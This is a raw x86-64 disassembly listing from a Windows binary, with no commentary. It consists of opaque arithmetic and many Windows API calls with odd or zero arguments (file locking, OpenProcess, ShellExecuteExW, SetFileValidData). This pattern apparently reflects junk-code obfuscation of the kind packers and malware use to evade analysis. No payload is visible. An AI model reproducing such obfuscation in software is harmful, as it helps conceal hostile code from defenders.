and eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x21ef
mov r9d, 0x901
mov r8d, 0x1013
mov edx, 0x1bc5
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x24f4], eax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a90], rax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x243c]
shr eax, cl
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
jmp 0x140005f40
lea rax, [rsp + 0x40]
mov qword [rsp + 0x4c08], rax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2454]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000635a
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov qword [rsp + 0x4c10], rax
movabs rax, 0x77da203671ecaa
cmp qword [rsp + 0x4c10], rax
je 0x1400062ec
movabs rax, 0x7aed24f2129f81
cmp qword [rsp + 0x4c10], rax
je 0x140006340
jmp 0x14000635a
mov rax, qword [0x140108f98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, byte [rsp + 0x41]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov r8d, dword [rsp + 0x24c8]
mov rax, qword [rsp + 0x4c08]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x40]
call fcn.1400dd070
jmp 0x14000635a
lea rdx, [rsp + 0x1bb50]
mov ecx, 0xf3
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2480], eax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x4c18], rax
mov rax, qword [rsp + 0x4c08]
movzx eax, byte [rax]
mov byte [rsp + 0x24f8], al
cmp byte [rsp + 0x24f8], 0
je 0x14000638b
jmp 0x1400064bc
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x24fc], eax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov dword [rsp + 0x2500], eax
cmp dword [rsp + 0x2500], 0
je 0x1400063cd
cmp dword [rsp + 0x2500], 0xf570
je 0x14000649a
jmp 0x1400064b7
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4a90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov dword [rsp + 0x2504], eax
mov rax, qword [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov rdx, qword [rsp + 0x4b20]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x140006498
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
lea r9, [rsp + 0x4bb0]
lea r8, [rsp + 0x4b98]
lea rdx, [rsp + 0x12230]
lea rcx, [rsp + 0x4b50]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2440], eax
mov r8d, dword [rsp + 0x24a4]
mov rax, qword [rsp + 0x49c8]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x41]
call fcn.1400dd070
jmp 0x1400064b7
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
jmp 0x1400065d5
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov dword [rsp + 0x2508], eax
cmp dword [rsp + 0x2508], 0x4688
je 0x1400064df
jmp 0x1400065c0
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140108f90], ax
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x5c4]
mov dword [rsp + 0x250c], ecx
movsx edx, word [rsp + 0x5ec]
movzx ecx, dl
mov edx, dword [rsp + 0x250c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1400065ae
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x41], al
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [0x140108008]
sub eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5cc], ax
mov r8d, 1
lea rdx, [rsp + 0x2410]
lea rcx, [rsp + 0x147e0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x4c20], rax
jmp 0x1400065be
xor edx, edx
mov rcx, qword [rsp + 0x4c28]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
jmp 0x1400065d5
lea rcx, [rsp + 0x148d0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x2480], eax
mov edx, 0x69f06a
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x24cc], eax
mov rax, qword [rsp + 0x4b18]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x2454]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x2488]
add eax, 0x77
mov dword [rsp + 0x2488], eax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2490]
shl eax, cl
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x23cc]
shr eax, cl
mov rcx, qword [rsp + 0x4bb8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140108f90], ax
movsx eax, word [0x140108008]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov word [rsp + 0x5c8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
movzx ecx, word [rsp + 0x5d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5f8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2510], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x24a8], eax
movzx ecx, word [rsp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5e4], ax
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
movzx ecx, word [rsp + 0x5dc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5d0], ax
mov eax, dword [rsp + 0x2504]
mov ecx, dword [rsp + 0x23c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov edx, 0x287c95
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x2514], eax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4970]
movzx ecx, al
mov rax, qword [rsp + 0x4978]
shr rax, cl
mov qword [section..data], rax
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c4]
or eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
xor eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
cmp dword [rsp + 0x2488], 0xc6a9
jne 0x1400065d5
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x41]
add ecx, edx
cmp eax, ecx
je 0x140006a90
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [0x140108f90]
mov r8, qword [rsp + 0x4a90]
mov rax, qword [rsp + 0x4b88]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rax]
call fcn.1400dc430
jmp 0x140006c9f
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x5c4]
add ecx, edx
cmp eax, ecx
jle 0x140006c59
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov dword [rsp + 0x2518], eax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x242c]
shr eax, cl
mov rcx, qword [rsp + 0x4bb8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4980]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140006c4c
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x251c], al
cmp byte [rsp + 0x251c], 0
je 0x140006b72
jmp 0x140006c21
mov rax, qword [rsp + 0x4b18]
mov ecx, dword [rsp + 0x242c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x23cc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140006bd8
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
movsx ecx, word [0x140108008]
sub eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
and eax, ecx
mov word [0x140108f90], ax
jmp 0x140006c1f
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5c4]
add eax, ecx
movsx ecx, word [rsp + 0x5ec]
mov rdx, qword [rsp + 0x4c18]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140006c1f
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
jmp 0x140006c41
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e0], ax
mov dword [rsp + 0x2520], 0x43b9
mov dword [rsp + 0x2524], 0x99c1
jmp 0x140006c9f
mov eax, dword [rsp + 0x2504]
mov ecx, dword [rsp + 0x24a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov rdx, qword [rsp + 0x4a30]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
je 0x140006c9f
mov edx, 0x59
lea rcx, [rsp + 0x4c28]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2528], eax
movzx eax, byte [rsp + 0x42]
add eax, 0x26
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x2464]
sub eax, 0x47
mov dword [rsp + 0x2464], eax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a90], rax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov eax, dword [rsp + 0x24c8]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
sar eax, cl
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
and eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov edx, 0x7ca17d
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x24f0], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [0x140108008]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x242c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4978], rax
mov eax, dword [rsp + 0x2490]
mov ecx, dword [rsp + 0x24a4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x395b
mov r9d, 0x3207
mov r8d, 0x2cd9
mov edx, 0x2aa4
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x24f4], eax
mov dword [rsp + 0x14f70], 0x11c
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
sub eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
shl eax, 4
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5e0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xafb
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2510], eax
movzx eax, byte [rsp + 0x42]
or eax, 0xe
mov byte [rsp + 0x42], al
lea rdx, [rsp + 0x49a8]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x2514], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4970]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x242c]
mov dword [rsp + 0x24d4], eax
mov eax, dword [rsp + 0x24c8]
mov ecx, dword [rsp + 0x2518]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2504], eax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x49b8], rax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [0x140108008]
add eax, ecx
mov rcx, qword [rsp + 0x4c18]
mov word [rcx], ax
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x252c], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
sub rax, rcx
mov qword [section..data], rax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41], al
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
cmp dword [rsp + 0x2464], 0x1623
jae 0x140006c9f
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov rdx, qword [rsp + 0x4b20]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x14000712a
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x23c0]
sar eax, cl
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
movzx r8d, word [0x140108f90]
mov rax, qword [rsp + 0x4c18]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x5e0]
call fcn.1400dc650
jmp 0x14000723c
movzx eax, byte [rsp + 0x42]
add eax, 0x4e
movzx ecx, byte [rsp + 0x43]
cmp eax, ecx
jne 0x14000723c
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov qword [rsp + 0x4c38], rax
movabs rax, 0x7e54f36ba663c7
cmp qword [rsp + 0x4c38], rax
je 0x140007168
jmp 0x1400071d1
mov rax, qword [rsp + 0x4bb8]
mov ecx, dword [rsp + 0x242c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x243c], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b50], rax
movzx eax, word [rsp + 0x5c8]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x49b8]
movzx r8d, byte [rsp + 0x43]
movzx edx, byte [rsp + 0x43]
mov ecx, dword [rsp + 0x24a4]
call fcn.1400db720
jmp 0x14000723c
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4978]
shl rax, cl
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov word [rsp + 0x5c8], ax
lea r9, [rsp + 0x4b88]
lea r8, [rsp + 0x4b50]
lea rdx, [rsp + 0x12210]
lea rcx, [rsp + 0x5ec]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x24bc], eax
mov eax, dword [rsp + 0x243c]
mov dword [rsp + 0x2530], eax
cmp dword [rsp + 0x2530], 0
je 0x140007259
jmp 0x1400dadcf
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2504]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2410]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400072e4
mov rax, qword [rsp + 0x4bb8]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x5cc]
mov word [rsp + 0x5fc], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1eb1
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2418], eax
jmp 0x14000735e
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov rdx, qword [rsp + 0x49b8]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x14000735e
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [0x140108f90]
add eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rdx, qword [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4978]
call fcn.1400dbe30
mov dword [rsp + 0x2534], 0xe4f4
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c18]
movsx eax, word [rax]
mov dword [rsp + 0x2538], eax
cmp dword [rsp + 0x2538], 0x24a
je 0x14000745c
cmp dword [rsp + 0x2538], 0x649
je 0x1400073ba
jmp 0x1400074af
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4c40], rax
movabs rax, 0x70a9c9dd90bfb9
cmp qword [rsp + 0x4c40], rax
je 0x1400073e0
jmp 0x140007441
movsx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x4c18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
lea rdx, [rsp + 0x4c18]
lea rcx, [rsp + 0x4b50]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x4c48], rax
jmp 0x14000745a
mov eax, dword [rsp + 0x242c]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24d4], eax
jmp 0x1400074af
lea rcx, [rsp + 0x4bb8]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x4c50], rax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2504]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2410], eax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x44]
movzx ecx, byte [rsp + 0x42]
shl eax, cl
movzx ecx, byte [rsp + 0x43]
cmp eax, ecx
jge 0x1400075a0
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
or eax, ecx
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
mov dword [rsp + 0x253c], ecx
mov rdx, qword [rsp + 0x49c8]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x253c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140007583
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4c58], rax
